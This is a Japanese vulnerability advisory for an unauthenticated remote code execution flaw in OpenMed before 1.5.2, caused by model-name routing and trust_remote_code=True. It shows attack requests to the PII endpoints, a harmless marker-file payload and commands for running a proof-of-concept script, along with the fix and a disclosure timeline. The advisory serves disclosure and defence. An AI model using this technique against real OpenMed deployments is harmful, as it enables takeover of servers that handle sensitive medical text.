
OpenMed < 1.5.2 における、PIIプライバシーフィルタモデルの読み込みと trust_remote_code=True による認証なしRCE
深刻度: Critical、CVSS 4.0 9.3、CVSS 3.1 9.8 (CNA である VulnCheck により割り当て)
ベクター (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
ベクター (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響を受けるバージョン: OpenMed < 1.5.2
修正バージョン: 1.5.2
CWE: CWE-94 (コード生成の制御が不適切、コードインジェクション)
報告者: Sai Teja Erukude
CNA: VulnCheck
公開日: 2026年6月2日
1.5.2 より前の OpenMed には、PII プライバシーフィルタのモデルロード処理に未認証のリモートコード実行の脆弱性があります。
REST API エンドポイント POST /pii/extract および POST /pii/deidentify は、リクエストボディから model_name の値を受け入れます。脆弱なバージョンでは、プライバシーフィルタのディスパッチャが、この攻撃者が制御する値に対して広範な部分文字列マッチングを使用していました。そのため、attacker/foo-privacy-filter-bar のようなモデル名はプライバシーフィルタのバックエンドにルーティングされる可能性がありました。
MLX/Torch 以外のデプロイメントでは、このバックエンドは trust_remote_code=True を指定して Transformers 経由で Hugging Face のモデルアーティファクトをロードしていました。攻撃者が制御するモデルリポジトリに、config.json または tokenizer_config.json の auto_map を通じて参照されるカスタム Transformers コードが含まれている場合、Transformers はモデルまたはトークナイザのロード中にその Python コードをインポートして実行していました。
インポートされたコードは、OpenMed サービスプロセスの権限で実行されました。
OpenMed REST API に到達可能な未認証のリモート攻撃者は、model_name に悪意のある Hugging Face 形式のモデル識別子を指定することで、サーバー上で任意の Python コードを実行できる可能性があります。
サービスのデプロイメントによっては、以下が可能になる可能性があります:
この問題は、両方の PII エンドポイントが model_name を受け入れ、同じ PII 抽出/モデルロード処理を使用するため、どちらからでも到達可能です:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
この脆弱な制御フローには、2つの信頼境界の失敗があります:
model_name を信頼していました。trust_remote_code=True で Transformers アーティファクトをロードすることで、リモートのモデルリポジトリコードを信頼していました。ディスパッチャは、privacy-filter を含むモデル識別子をすべてプライバシーフィルタファミリの一部として扱いました。これにより、例えば attacker/foo-privacy-filter-bar のような攻撃者が制御する識別子が、信頼されたファーストパーティの Privacy Filter モデルを対象としたコードパスに到達できるようになりました。
そこにルーティングされると、Transformers は auto_map を通じて攻撃者が制御するカスタムコードをロードできました。このインポートはモデル/トークナイザのロード中に発生し、有用な推論が成功する必要はありません。したがって、実証用ペイロードは以下のように小さくできます:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py は、名前に privacy-filter を含む無害なローカルの Hugging Face 形式モデルディレクトリを構築します。生成されたカスタム Transformers モジュールは、インポートされるとマーカーファイルを書き込みます。その後、スクリプトはそのディレクトリを model_name としてテスト用 OpenMed API インスタンスにリクエストを送信します。
脆弱な OpenMed バージョンでの期待される動作は次のとおりです:
model_name を受け入れる。trust_remote_code=True のため、Transformers が生成されたカスタムモジュールをインポートする。ローカルのテストインスタンスに対してのみ実行してください:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
OpenMed サービスが、生成されたローカルディレクトリにアクセスできない場所で実行されている場合は、同等のテストモデルを管理下の Hugging Face リポジトリに公開し、その識別子を明示的に渡してください:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
OpenMed 1.5.2 以降にアップグレードしてください。
OpenMed 1.5.2 では、ルーティングと信頼が分離されています:
privacy-filter を含む任意のリポジトリ名は、もはや信頼されたプライバシーフィルタのパスを通ってルーティングされません。PrivacyFilterTorchPipeline は trust_remote_code をデフォルトで False にします。OPENMED_TRUSTED_REMOTE_CODE_MODELS でそれらを許可リストに登録できます。直ちにアップグレードできない場合:
model_name 値を trust_remote_code=True の Transformers に渡さないでください。発見および報告者: Sai Teja Erukude。VulnCheck を通じて調整されました。
| 日付 | イベント |
|---|
| 2026年5月18日 | VulnCheck に脆弱性を提出 |
| 2026年5月20日 | VulnCheck が協調的開示の働きかけを開始 |
| 2026年5月22日 | CVE-2026-47117 を暫定的に割り当て |
| 2026年6月1日 | OpenMed 1.5.2 の修正をレビューし確認 |
| 2026年6月2日 | CVE-2026-47117 を公開 |